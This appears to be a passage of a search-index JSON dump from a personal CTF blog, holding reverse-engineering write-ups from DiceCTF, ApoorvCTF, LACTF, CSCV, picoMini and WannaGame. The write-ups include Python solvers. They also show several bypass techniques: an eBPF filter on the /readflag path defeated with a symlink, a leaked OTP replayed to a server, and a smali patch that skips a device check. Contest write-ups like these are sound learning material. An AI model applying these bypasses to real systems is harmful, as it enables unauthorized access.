/tmp/exp.b64 \u0026gt; /tmp/exp chmod +x /tmp/exp /tmp/exp Once the helper was inside the VM, it could talk to /dev/challenge, explore the maze, and ask for the flag from the goal cell.\nFlag # dice{twisty_rusty_kernel_maze} Takeaway # Explorer has two separate solves layered on top of each other:\nreverse the kernel driver well enough to recover the IOCTL protocol, then package that logic into a binary small enough for the hostile remote environment. The first half was normal reversing. The second half was what made the challenge memorable.\n","date":"19 March 2026","externalUrl":null,"permalink":"/writeups/dicectf2026/explorer/","section":"Writeups","summary":"First look # This challenge shipped a bzImage, an initramfs.cpio.gz, and a remote VM that dropped into a BusyBox shell. That immediately made me think “driver challenge,” so I unpacked the initramfs before spending time on the remote instance.\n","title":"Explorer","type":"writeups"},{"content":"","date":"7 March 2026","externalUrl":null,"permalink":"/categories/apoorvctf-2026/","section":"Categories","summary":"","title":"Apoorvctf 2026","type":"categories"},{"content":" First look # requiem is a stripped Rust ELF, which usually means a lot of disassembly noise before you get to the part that matters.\nRunning it gave a very suspicious three-line script:\nloading flag printing flag..... RETURN TO ZERO!!!!!!!! No flag ever appeared, but the message was already telling the story. Something was probably being decoded in memory and then wiped immediately.\nMaking sure the flag is local # Before digging into the binary, I wanted to know whether the program fetched the flag from outside.\nstrace answered that quickly: there was no meaningful flag file access and no network activity. That meant the flag was almost certainly embedded in the binary itself, or at least derived entirely from embedded data.\nThat narrowed the search a lot.\nThe suspicious blob next to the strings # The next useful move was checking strings with offsets. The interesting output looked like this:\n47000 loading flag 4851f i\u0026#39;printing flag..... 48534 RETURN TO ZERO!!!!!!!! That odd i'printing flag..... line was the clue. It meant there were printable bytes immediately before the visible string, which usually means some nearby data blob is being interpreted as text.\nDumping the surrounding .rodata region revealed a 45-byte chunk right before printing flag.....:\n3b2a3535282c392e3c21146a05176a08690508690b0f6b6917056b14050e126b6f0569020a69086b6914196927 That did not look random enough to be compressed and did not look structured enough to be plain text. XOR-encoded data was the obvious guess.\nFinding the decode loop # Once I looked for cross-references to that blob, the core logic showed up quickly. The important loop does exactly this:\nload one byte from the embedded blob, XOR it with 0x5a, write it to an output buffer, repeat for 0x2d bytes. In other words:\nflag = bytes(byte ^ 0x5A for byte in blob) The joke line at runtime also turned out to be literal. Right after decoding the buffer, the program zeroes it out byte by byte. So the challenge is not \u0026ldquo;make it print the flag,\u0026rdquo; it is \u0026ldquo;notice the decode before the wipe.\u0026rdquo;\nThe easy mistake # One small detail is easy to miss.\nThe final encoded byte, 27, sits directly in front of the printing flag..... string. If you stop the blob one byte too early, you lose the closing brace.\nThat last byte matters:\n$$ 0x27 \\oplus 0x5a = 0x7d $$and 0x7d is }.\nSo the entire 45-byte blob has to be included.\nRecovering the flag # At that point the solve is just one line of Python:\nblob = bytes.fromhex( \u0026#34;3b2a3535282c392e3c21146a05176a08690508690b0f6b6917056b14050e126b\u0026#34; \u0026#34;6f0569020a69086b6914196927\u0026#34; ) print(bytes(byte ^ 0x5A for byte in blob).decode()) Output:\napoorvctf{N0_M0R3_R3QU13M_1N_TH15_3XP3R13NC3} Takeaway # This one looks noisy because it is a Rust binary, but the solve is tiny once the runtime hint clicks. The binary really does \u0026ldquo;return to zero.\u0026rdquo; The whole challenge is about catching the XOR decode before the program wipes its own work.\n","date":"7 March 2026","externalUrl":null,"permalink":"/writeups/apoorvctf/requiem/","section":"Writeups","summary":"First look # requiem is a stripped Rust ELF, which usually means a lot of disassembly noise before you get to the part that matters.\n","title":"Requiem","type":"writeups"},{"content":" First impression # forge looked much worse than it really was.\nThe binary is stripped, PIE, and imports a mix of ptrace, fork, prctl, mmap, RAND_bytes, EVP_sha256, and EVP_aes_256_gcm. That is exactly the kind of import table that tries to make you expect anti-debugging, runtime decryption, and maybe a second stage.\nI did chase that direction for a bit. One decoded string in .rodata even hinted at payload\u0026gt;bin, which made it look like something external might be missing.\nThe good news is that none of that turned out to matter.\nThe real pivot # The turning point was simply watching what the main loop actually did instead of what the imports suggested.\nOnce I looked at the repeated operations, the pattern was hard to miss:\npick a pivot find an inverse normalize a row eliminate that column from every other row That is Gaussian elimination, not cryptography.\nThe binary was solving a fixed linear system over bytes. The multiplication was not normal integer multiplication, though. Every product came from a 256 x 256 lookup table stored in .rodata, so the arithmetic was happening in a custom GF(256)-style field.\nThat changed the whole challenge. I no longer cared about the anti-debug path or the missing payload hint. I only needed the constants.\nRebuilding the system # The relevant data was all embedded in the main binary:\na 56 x 56 coefficient matrix a 56-byte right-hand side a 65536-byte multiplication table Together they form a 56 x 57 augmented matrix.\nSo I wrote a small Python solver that:\nreads the binary bytes, extracts the matrix and multiplication table from .rodata, performs the same row-reduction logic as the binary, finds multiplicative inverses by scanning for mul(a, x) == 1, and finally reads the last column once the matrix is reduced. That is enough because the verifier is deterministic. The flag is already baked into the embedded system.\nWhy the static route works # This is the part I liked most about the challenge: it is mostly misdirection.\nThe program wants you to spend time on the surrounding noise:\nanti-debugging OpenSSL calls process tricks a suspicious payload path But the actual answer is sitting in plain sight as a solvable algebra problem. Once I committed to that interpretation, the challenge became much smaller.\nResult # The reduced matrix decoded cleanly as ASCII:\nAPOORVCTF{Y0u_4ctually_brOught_Y0ur_owN_Firmw4re????!!!} Takeaway # Forge is a good reminder that \u0026ldquo;lots of crypto imports\u0026rdquo; is not the same thing as \u0026ldquo;the solve is cryptography.\u0026rdquo; The real signal was the row-reduction pattern. After that, the rest of the binary was just decoration.\n","date":"7 March 2026","externalUrl":null,"permalink":"/writeups/apoorvctf/forge/","section":"Writeups","summary":"First impression # forge looked much worse than it really was.\n","title":"Forge","type":"writeups"},{"content":" First look # This one came with a very on-theme setup: a tiny CHALL.EXE DOS program and a floppy image containing the same executable. A quick strings pass already told me it was a flag checker:\nUCLA NetSec presents: LACTF \u0026#39;86 Flag Checker Check your Flag: Sorry, the flag must begin with \u0026#34;lactf{...\u0026#34; Sorry, that\u0026#39;s not the flag. Indeed, that\u0026#39;s the flag! So the question was not what the binary did, but whether it hid the flag in a way that was annoying enough to matter.\nWhat the checker really does # Loading the program in radare2 as 16-bit x86 made the structure fairly clear.\nThe first part is just a prefix check. The binary rejects anything that does not begin with lactf{, so there is nothing interesting there.\nThe second part is where the actual trick lives. The checker hashes the entire input into a 20-bit state:\ndef hash_string(data): state = 0 for byte in data: state = (67 * state + byte) % (1 \u0026lt;\u0026lt; 20) return state That 20-bit value becomes the seed for a small LFSR:\ndef lfsr_step(state): feedback = (state \u0026amp; 1) ^ ((state \u0026gt;\u0026gt; 3) \u0026amp; 1) return ((state \u0026gt;\u0026gt; 1) | (feedback \u0026lt;\u0026lt; 19)) \u0026amp; 0xFFFFF The checker advances the LFSR once per character, takes the low byte, XORs it with the candidate flag byte, and compares the result against a 73-byte constant stored in the data segment.\nSo the validation logic is:\nexpected[i] == input[i] XOR keystream[i] At first glance that looks circular, because the input determines the seed and the seed determines the keystream that decrypts the input.\nThe weakness # The circular dependency looks clever, but the state is only 20 bits wide. That is just 2^20 possibilities, which is completely brute-forceable.\nSo instead of trying to solve the algebra directly, I treated the embedded bytes as ciphertext and tested every possible seed:\nGenerate the LFSR keystream for a candidate seed. XOR it with the stored bytes to recover a plaintext candidate. Keep only printable candidates that look like lactf{...}. Re-hash that plaintext and check whether it reproduces the same seed. That last check is what resolves the circular dependency cleanly.\nSolving it # The full brute-force script is short:\ndef lfsr_step(state): feedback = (state \u0026amp; 1) ^ ((state \u0026gt;\u0026gt; 3) \u0026amp; 1) return ((state \u0026gt;\u0026gt; 1) | (feedback \u0026lt;\u0026lt; 19)) \u0026amp; 0xFFFFF def hash_string(data): state = 0 for byte in data: state = (67 * state + byte) % (1 \u0026lt;\u0026lt; 20) return state expected = bytes([ 0xb6, 0x8c, 0x95, 0x8f, 0x9b, 0x85, 0x4c, 0x5e, 0xec, 0xb6, 0xb8, 0xc0, 0x97, 0x93, 0x0b, 0x58, 0x77, 0x50, 0xb0, 0x2c, 0x7e, 0x28, 0x7a, 0xf1, 0xb6, 0x04, 0xef, 0xbe, 0x5c, 0x44, 0x78, 0xe8, 0x99, 0x81, 0x04, 0x8f, 0x03, 0x40, 0xa7, 0x3f, 0xfa, 0xb7, 0x08, 0x01, 0x63, 0x52, 0xe3, 0xad, 0xd1, 0x85, 0x9f, 0x94, 0x21, 0xd5, 0x2a, 0x5c, 0x20, 0xd4, 0x31, 0x12, 0xce, 0xaa, 0x16, 0xc7, 0xad, 0xdf, 0x29, 0x5d, 0x72, 0xfc, 0x24, 0x90, 0x2c, ]) for seed in range(1 \u0026lt;\u0026lt; 20): state = seed plain = bytearray() for byte in expected: state = lfsr_step(state) plain.append(byte ^ (state \u0026amp; 0xFF)) try: text = plain.decode(\u0026#34;ascii\u0026#34;) except UnicodeDecodeError: continue if text.startswith(\u0026#34;lactf{\u0026#34;) and text.endswith(\u0026#34;}\u0026#34;) and hash_string(plain) == seed: print(hex(seed), text) break The correct seed turned out to be 0xf3fb5, and the recovered plaintext was the flag.\nFlag # lactf{3asy_3nough_7o_8rute_f0rce_bu7_n0t_ea5y_en0ugh_jus7_t0_brut3_forc3} Takeaway # The interesting part here was not the DOS binary itself. It was noticing that the fancy self-seeded stream cipher still collapsed to a tiny brute-force space. Once I stopped treating the seed dependency as a blocker, the solve became a straightforward offline search.\n","date":"7 February 2026","externalUrl":null,"permalink":"/writeups/lactf/lactf-1986/","section":"Writeups","summary":"First look # This one came with a very on-theme setup: a tiny CHALL.EXE DOS program and a floppy image containing the same executable. A quick strings pass already told me it was a flag checker:\n","title":"Lactf 1986","type":"writeups"},{"content":"","date":"7 February 2026","externalUrl":null,"permalink":"/categories/lactf-2026/","section":"Categories","summary":"","title":"LACTF 2026","type":"categories"},{"content":" Status # This page was originally just a template, and I do not have enough real solve artifacts in the repo to turn it into a proper writeup without inventing details.\nThat means:\nthere is no saved exploit script here there is no challenge file or terminal log here there are no notes describing the actual solve path I would rather leave this as an honest placeholder than fake a smooth story that never happened.\nWhat is missing # To rewrite this one properly, I would need at least one of the following:\nthe challenge file or source the final exploit or solver a few solve notes showing the main pivot the final flag or proof of success Once those exist, I can rewrite this page in the same style as the rest of the writeups.\n","date":"7 February 2026","externalUrl":null,"permalink":"/writeups/lactf/the-cat/","section":"Writeups","summary":"Status # This page was originally just a template, and I do not have enough real solve artifacts in the repo to turn it into a proper writeup without inventing details.\n","title":"The Cat","type":"writeups"},{"content":" Setup # The challenge came with a Python-based \u0026gt;\u0026lt;\u0026gt; (Fish) interpreter and a one-line Fish program that checked the input against one huge constant.\nThe hint was the important part:\n\u0026ldquo;there may be some issues with this if the collatz conjecture is disproven\u0026rdquo;\nThat line was enough to stop me from treating this like a generic esolang problem. The checker was clearly doing some arithmetic transform, and the Collatz reference suggested that the flag was being folded into a single integer rather than checked character by character.\nFirst clue # After translating the Fish program into normal logic, the checker reduced to two stages.\nFirst, it turned the input string into one big integer by reading the bytes as a big-endian base-256 number:\n$$ \\text{acc} = \\sum_{i=0}^{n} \\text{ord}(c_i) \\cdot 256^{n-i} $$So at that point the input was effectively:\nacc = int.from_bytes(flag.encode(), \u0026#34;big\u0026#34;) Then it ran a modified Collatz process and packed the parity decisions into another integer:\ncounter = 1 while acc != 1: counter *= 2 if acc % 2 == 0: acc //= 2 else: counter += 1 acc = (acc * 3 + 1) // 2 The checker never compared the string directly. It only compared the final counter against a hardcoded target.\nThat mattered because it meant I did not need to emulate the Fish program forward. I only needed to invert the transform.\nTurning the checker around # The useful observation is that every loop iteration doubles counter, and the odd branch adds one on top of that. So if I start from the final target and walk backward, the parity of counter tells me which branch was taken.\neven counter means the forward step came from an even Collatz update odd counter means the forward step came from the modified odd update That gives a clean reverse procedure:\nwhile counter \u0026gt; 1: if counter % 2 == 0: counter //= 2 acc *= 2 else: counter = (counter - 1) // 2 acc = (acc * 2 - 1) // 3 Running that backward walk recovered the original big integer after 2999 steps.\nThat was the only real pivot in the challenge. Once the reverse direction was clear, the rest was just decoding bytes.\nRecovering the flag # After reconstructing acc, I converted it back to a byte string:\nflag = acc.to_bytes((acc.bit_length() + 7) // 8, \u0026#34;big\u0026#34;).decode(\u0026#34;ascii\u0026#34;) print(flag) That produced:\nlactf{7h3r3_m4y_83_50m3_155u35_w17h_7h15_1f_7h3_c011472_c0nj3c7ur3_15_d15pr0v3n} Verification # The recovered string matched the challenge theme exactly and includes the Collatz joke from the hint, which is a good sign that the reverse process is correct.\nFinal flag:\nlactf{7h3r3_m4y_83_50m3_155u35_w17h_7h15_1f_7h3_c011472_c0nj3c7ur3_15_d15pr0v3n} ","date":"7 February 2026","externalUrl":null,"permalink":"/writeups/lactf/the-fish/","section":"Writeups","summary":"Setup # The challenge came with a Python-based \u003e\u003c\u003e (Fish) interpreter and a one-line Fish program that checked the input against one huge constant.\n","title":"The Fish","type":"writeups"},{"content":"","date":"25 December 2025","externalUrl":null,"permalink":"/categories/cscv-2025/","section":"Categories","summary":"","title":"CSCV 2025","type":"categories"},{"content":" ReezS # First wrong turn # My first read on this binary was completely wrong. It looked like a normal flag checker, so I did what I usually do for that kind of challenge: identify the comparison logic, lift the constants, and script the inverse.\nThat script only gave me:\nsorry_this_is_fake_flag!!!!!!!!! That should have been a clue immediately, but I still lost a lot of time staring at the control flow.\nThe behavior that finally forced me to rethink the challenge was this:\nunder a debugger, sorry_this_is_fake_flag!!!!!!!!! was accepted running the same input normally, it failed Same input, same binary, different result. That is not a math mistake. That is environment-sensitive behavior.\nThe actual pivot # After the contest I came back to the import table, and the answer was sitting there:\nIsDebuggerPresent is imported, and the program checks it very early.\nThat explained the split behavior perfectly. The fake string was not a failed inversion of the real checker. It was bait. The binary was selecting different encoded data depending on whether a debugger was attached.\nOnce I knew that, I stopped trying to model every branch. I just took the two real encoded blocks from the debugger-only path, XORed them with the constant mask, swapped the halves into the right order, and reversed the decoded string.\nThis is the cleaned-up version of the script:\ndef xor_bytes(a: bytes, b: bytes) -\u0026gt; bytes: return bytes(x ^ y for x, y in zip(a, b)) def main(): factor0 = bytes([0xAA]) * 16 factor1 = bytes.fromhex(\u0026#39;939FCF9C9B9998C99DC8C9989ECFCB9A\u0026#39;) factor2 = bytes.fromhex(\u0026#39;9F9D9D9DCB989A9B999A98CF9DCFCFCF\u0026#39;) part1 = xor_bytes(factor1, factor0) part2 = xor_bytes(factor2, factor0) flag_bytes = part2 + part1 print(f\u0026#34;CSCV2025{{{flag_bytes.decode(\u0026#39;utf-8\u0026#39;)[::-1]}}}\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() That recovered:\nCSCV2025{0ae42cb7c2316e59eee7e203102a7775} The whole solve really came down to noticing that the checker was lying differently depending on whether it saw a debugger.\nChatbot # First pass # This executable looked different right away. Opening it in IDA showed PyInstaller-style markers, so instead of treating it like a normal native binary, I treated it like a packaged Python app with a native helper library.\nThat meant the first useful step was extraction, not decompilation. I used pyinstxtractor.py to unpack the bundled files:\nI did not have decompyle3 available, so I used an online decompiler to get a readable main.py. The high-level flow was enough:\nload libnative.so optionally run an integrity check verify a token for role == VIP if that passes, call decrypt_flag_file(\u0026quot;flag.enc\u0026quot;) That last point was the real clue. The program pretends the hard part is token validation, but the Python side already tells us the flag is sitting in a local encrypted file and the decryption routine lives in the native library we already have.\nSo I stopped caring about forging a VIP token and moved straight to libnative.so.\nNative side # Inside the library, decrypt_flag_file calls recover_key:\nAnd recover_key is much simpler than the name makes it sound. It just rebuilds the original AES key from an obfuscated byte array and a short repeating mask:\nBack in decrypt_flag_file, the logic is straightforward:\nread the first 16 bytes of flag.enc as the IV, treat the rest as ciphertext, choose the AES branch based on key length, decrypt. Because the recovered key is 32 bytes long, the branch used here is AES-256-CBC.\nThat means the whole solve can be reproduced locally without ever passing the token check.\nI reimplemented the key recovery and decryption in Python:\n#!/usr/bin/env python3 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend OBF_KEY = [ 0xEE, 0x50, 0xD1, 0xAA, 0xE0, 0x97, 0x5F, 0x43, 0xDD, 0xA8, 0xAC, 0x83, 0xF0, 0x05, 0xF3, 0xFF, 0x62, 0x08, 0xF4, 0x44, 0x4B, 0x2C, 0x55, 0xEC, 0xB9, 0x65, 0x23, 0xCC, 0x25, 0x65, 0xEE, 0x70 ] MASK = [0x2a, 0x2a, 0xa, 0x9a] def recover_key(): recovered_key = bytearray(32) recovered_key[0] = 0xC4 for i in range(1, 32): mask_byte = MASK[i \u0026amp; 3] recovered_key[i] = OBF_KEY[i] ^ mask_byte return bytes(recovered_key) key = recover_key() def decrypt_flag_file(filename): with open(filename, \u0026#34;rb\u0026#34;) as f: iv = f.read(16) ct = f.read() cipher = Cipher(algorithms.AES256(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() return decryptor.update(ct) + decryptor.finalize() def main(): decrypted_data = decrypt_flag_file(\u0026#34;flag.enc\u0026#34;) if decrypted_data: print(decrypted_data.decode(\u0026#34;utf-8\u0026#34;)) if __name__ == \u0026#34;__main__\u0026#34;: main() That decrypted the bundled file and printed:\nCSCV2025{reversed_vip*_chatbot_bypassed} The nice part of this challenge is that the intended story is \u0026ldquo;become VIP,\u0026rdquo; but the cleaner reversing route is just to follow the local decryption path and ignore the access-control theater entirely.\n","date":"25 December 2025","externalUrl":null,"permalink":"/writeups/cscv2025/cscv_2025_re/","section":"Writeups","summary":"ReezS # First wrong turn # My first read on this binary was completely wrong. It looked like a normal flag checker, so I did what I usually do for that kind of challenge: identify the comparison logic, lift the constants, and script the inverse.\n","title":"CSCV_2025_RE","type":"writeups"},{"content":"","date":"25 December 2025","externalUrl":null,"permalink":"/categories/picomini_by_cmu_africa/","section":"Categories","summary":"","title":"PicoMini_by_CMU_Africa","type":"categories"},{"content":"This set had two Android reversing challenges. Both of them became much easier once I stopped staring at the default UI and followed the data that the APK already exposed.\nM1n10n'5_53cr37 # First pass # I started by opening minions.apk in jadx-gui and checking MainActivity, which is usually the first useful place in beginner Android reversing.\nIn this case it was mostly noise. Nothing there explained where the flag was hidden.\nThe first real clue came from the hint:\nAny interesting source files?\nThat pushed me toward text search instead of static browsing. Searching for interesting turned up this string:\nandroid:text=\u0026#34;Look into me my Banana Value is interesting\u0026#34; So the next question became simple: where is Banana Value stored?\nPivot # A second text search for Banana found the string resource:\n\u0026lt;string name=\u0026#34;Banana\u0026#34;\u0026gt;OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=\u0026lt;/string\u0026gt; That blob looked like Base32 immediately. Decoding it gave the flag directly:\npicoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3} Takeaway # The only thing that mattered here was not trusting the activity layout as the whole challenge. The flag was never hidden behind complex code. It was just sitting in resources with a hint pointing at it.\nPico Bank # First clue # For pico-bank.apk, I again started in MainActivity, and this time the transaction list stood out right away:\nthis.transactionList.add(new Transaction(\u0026#34;Grocery Shopping\u0026#34;, \u0026#34;2023-07-21\u0026#34;, \u0026#34;$ 1110000\u0026#34;, false)); this.transactionList.add(new Transaction(\u0026#34;Electricity Bill\u0026#34;, \u0026#34;2023-07-20\u0026#34;, \u0026#34;$ 1101001\u0026#34;, false)); this.transactionList.add(new Transaction(\u0026#34;Salary\u0026#34;, \u0026#34;2023-07-18\u0026#34;, \u0026#34;$ 1100011\u0026#34;, true)); ... Those amounts were clearly not normal balances. They looked like binary.\nConverting the values to ASCII recovered the first half of the flag:\npicoCTF{1_l13d_4b0ut_b31ng_ That established the pattern, but the flag was incomplete, so the rest had to be somewhere else in the app.\nSecond clue # The challenge hint mentioned the OTP flow, so I searched for OTP in the decompiled sources and resources.\nThat led to:\n\u0026lt;string name=\u0026#34;otp_value\u0026#34;\u0026gt;9673\u0026lt;/string\u0026gt; and to the verifyOtp logic:\npublic void verifyOtp(String otp) throws JSONException { String endpoint = \u0026#34;your server url/verify-otp\u0026#34;; if (getResources().getString(R.string.otp_value).equals(otp)) { Intent intent = new Intent(this, (Class\u0026lt;?\u0026gt;) MainActivity.class); startActivity(intent); finish(); } else { Toast.makeText(this, \u0026#34;Invalid OTP\u0026#34;, 0).show(); } JSONObject postData = new JSONObject(); postData.put(\u0026#34;otp\u0026#34;, otp); JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(1, endpoint, postData, ...); this.requestQueue.add(jsonObjectRequest); } The important detail here was that the app still POSTed the OTP to the backend, and the backend response included the missing flag chunk. At that point the local OTP value was all I needed.\nGetting the second half # I sent the discovered OTP to the endpoint directly:\nimport requests payload = {\u0026#34;otp\u0026#34;: 9673} r = requests.post(\u0026#34;http://saffron-estate.picoctf.net:56247/verify-otp\u0026#34;, data=payload) print(r.text) The server responded with:\n{\u0026#34;success\u0026#34;:true,\u0026#34;message\u0026#34;:\u0026#34;OTP verified successfully\u0026#34;,\u0026#34;flag\u0026#34;:\u0026#34;s3cur3d_m0b1l3_l0g1n_c0085c75}\u0026#34;,\u0026#34;hint\u0026#34;:\u0026#34;The other part of the flag is hidden in the app\u0026#34;} Combining both parts produced the full flag:\npicoCTF{1_l13d_4b0ut_b31ng_s3cur3d_m0b1l3_l0g1n_c0085c75} Final takeaway # Both APKs rewarded the same habit:\nsearch the app resources instead of only reading the main activity treat weird constants as data first, not as UI decoration follow the client/server boundary when the app hints at network validation Once those pivots were clear, neither challenge needed anything more complicated than text search, decoding, and one short request script.\n","date":"25 December 2025","externalUrl":null,"permalink":"/writeups/picomini/picomini_by_cmu_africa/","section":"Writeups","summary":"This set had two Android reversing challenges. Both of them became much easier once I stopped staring at the default UI and followed the data that the APK already exposed.\n","title":"PicoMini_by_CMU_Africa","type":"writeups"},{"content":"","date":"25 December 2025","externalUrl":null,"permalink":"/categories/wannagame-championship-2025/","section":"Categories","summary":"","title":"WannaGame Championship 2025","type":"categories"},{"content":"These are cleaned-up contest notes rather than polished full writeups. Buzzing has a complete solve path, but Checker and Dutchman_app are intentionally kept as partial notes because the missing final artifacts are not preserved in this repo. I would rather leave those gaps visible than pretend I remember more than I actually do.\nBuzzing # I started this one in the wrong direction. My first instinct was to copy the challenge out of the remote environment and reverse it locally, but that was not really necessary.\nAfter poking around the instance with basic Linux commands, the useful observation was that the restriction seemed to be tied to the literal /readflag path. In other words, eBPF was likely filtering commands that referenced that exact pathname, not blocking the underlying file from running under a different name.\nThat makes the bypass almost trivial:\nln -s /readflag /tmp/solve /tmp/solve Running the symlinked path was enough to read /flag.\nI do not have the exact printed flag string saved in these notes, but the actual solve path was just this symlink bypass. The important idea was realizing the filter cared about the command path, not the file contents.\nChecker # This challenge gave a Windows PE wrapper:\nchecker.exe: PE32+ executable for MS Windows 6.00 (console), x86-64, 6 sections The first useful step was reversing the wrapper itself, not the checker logic. In IDA, main asks the user to choose checker 1 or 2, maps that choice to resource IDs 101 and 102, extracts the selected resource into a file named flag_checker.exe, executes it, waits for it to finish, and then deletes it.\nThat immediately changed the plan. I did not need to understand the wrapper deeply. I just needed to catch the extracted payloads before they were removed.\nSo I broke on DeleteFileA, ran the wrapper twice with the two different options, and recovered both embedded flag_checker.exe files for offline analysis.\nChecker 1 # The first recovered checker was the one I made meaningful progress on.\nThe code looked messy enough that I initially was not sure what family of transform I was even looking at. After following cross-references and leaning on AI for algorithm identification, the checker turned out to apply several layers in sequence:\nChaCha20 an LCG-based byte mask RC4 a repeating XOR with the key skibidi The key material itself was not the hardest part. Most of it was easy to recover from constants and xrefs. The annoying piece was the LCG seed. I grabbed that dynamically by breaking immediately after the call to sub_140002370(1337) and reading rax, which gave me 0xAD66AA22.\nWith that seed, I could reverse the layers:\nfrom Crypto.Cipher import ARC4, ChaCha20 target_signed = [-4, 118, -44, 9, -93, -40, 80, 47, -71, -41, -70, -32, -80, 52, -78] ciphertext = bytes((x + 256) % 256 for x in target_signed) key_xor = b\u0026#34;skibidi\u0026#34; key_rc4 = bytes(range(1, 17)) key_chacha = b\u0026#34;\\xAA\u0026#34; * 32 nonce_chacha = b\u0026#34;\\x45\u0026#34; * 12 def chacha(data, key, nonce): return ChaCha20.new(key=key, nonce=nonce).decrypt(data) def lcg(data, seed): out = bytearray() state = seed \u0026amp; 0xFFFFFFFFFFFFFFFF for byte in data: mask = 0 tmp = state for _ in range(8): mask ^= tmp \u0026amp; 0xFF tmp \u0026gt;\u0026gt;= 8 out.append(byte ^ (mask \u0026amp; 0xFF)) state = (state * 0x5851F42D4C957F2D + 0x14057B7EF767814F) \u0026amp; 0xFFFFFFFFFFFFFFFF return bytes(out) def rc4(data, key): return ARC4.new(key).decrypt(data) def xor(data, key): return bytes(d ^ key[i % len(key)] for i, d in enumerate(data)) print(xor(rc4(lcg(chacha(ciphertext, key_chacha, nonce_chacha), 0xAD66AA22), key_rc4), key_xor)) That recovered:\nW1{Ch4ng1ng_d4t And that is where my preserved notes stop. I did not finish reconstructing parts 2 and 3 from the second checker during the event, so I am leaving this section as a partial solve rather than fabricating the missing ending.\nChecker 2 # I also recovered the second embedded checker, which appears to be responsible for the remaining parts of the flag, but these notes do not contain a finished analysis or final reconstruction. The honest state is simply: wrapper understood, payload extraction solved, checker 1 partly reversed, full flag not preserved.\nDutchman_app # This challenge unpacked into an APK, so the first pass was standard Android reversing with jadx.\nMainActivity immediately showed a few suspicious details:\na lockout stored in SharedPreferences a native library load for check_new_detection logic that appeared to reject unauthorized devices before the real app flow could continue The UnlockTime value is set to currentTimeMillis() + 180000, so getting rejected means waiting three minutes before the app will even let you try again. That made the device-gating logic worth bypassing first.\nI moved from jadx to apktool, decompiled the APK, and patched MainActivity.smali to jump over the device check. The point was not to solve the whole challenge in smali, just to keep the app alive long enough to see the next stage.\nThe patch was essentially:\nif-nez p1, :cond_11 if-nez v1, :cond_11 if-nez v3, :cond_11 if-nez v4, :cond_c with an added branch to skip the rejection path.\nThat was the meaningful pivot. After rebuilding and retrying post-contest, I could at least reach the security-key screen, which confirmed that the Java layer was only the front door and the real logic likely lived in the native library.\nAt that point I switched to the bundled .so files:\narm64-v8a/libcheck_new_detection.so armeabi-v7a/libcheck_new_detection.so x86/libcheck_new_detection.so x86_64/libcheck_new_detection.so But the notes preserved here stop before the native analysis reaches a final key or flag.\nSo the honest state of this writeup is:\nI identified and bypassed the device-gating layer, I confirmed the native library was the next target, I do not have the rest of the solve path or final flag saved in this repo. ","date":"25 December 2025","externalUrl":null,"permalink":"/writeups/wannagame_championship_2025/writeups/","section":"Writeups","summary":"These are cleaned-up contest notes rather than polished full writeups. Buzzing has a complete solve path, but Checker and Dutchman_app are intentionally kept as partial notes because the missing final artifacts are not preserved in this repo. I would rather leave those gaps visible than pretend I remember more than I actually do.\n","title":"WannaGame Championship 2025 - Reversing Writeup","type":"writeups"},{"content":" Who I Am # I am k1nt4r0u - an information security student at Ho Chi Minh City University of Information Technology and spend most of my time around reverse engineering, binary exploitation, and CTFs.\nWhat I Do # Play CTFs for Sky1nNorth Reversing binaries to understand how they work Exploiting binary for vuln and bugs Arch Linux is my daly driver :\u0026gt; What This Blog Is For # This site is where I keep:\nCTF writeups and postmortems Reverse engineering notes Small research breadcrumbs worth keeping around References I expect to need again later Tools I use # IDA Pro and Ghidra GDB and pwndbg pwntools Small scripts and command-line tooling on Linux Contact # GitHub: @k1nt4r0u CTFtime: k1n74r0u HackMD: kintarou ","externalUrl":null,"permalink":"/about/","section":"Home","summary":"Who I Am # I am k1nt4r0u - an information security student at Ho Chi Minh City University of Information Technology and spend most of my time around reverse engineering, binary exploitation, and CTFs.\n","title":"About","type":"page"},{"content":"Use these entry points to browse the archive:\nWriteups Tags Categories ","externalUrl":null,"permalink":"/archive/","section":"Home","summary":"Use these entry points to browse the archive:\nWriteups Tags Categories ","title":"Archive","type":"page"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]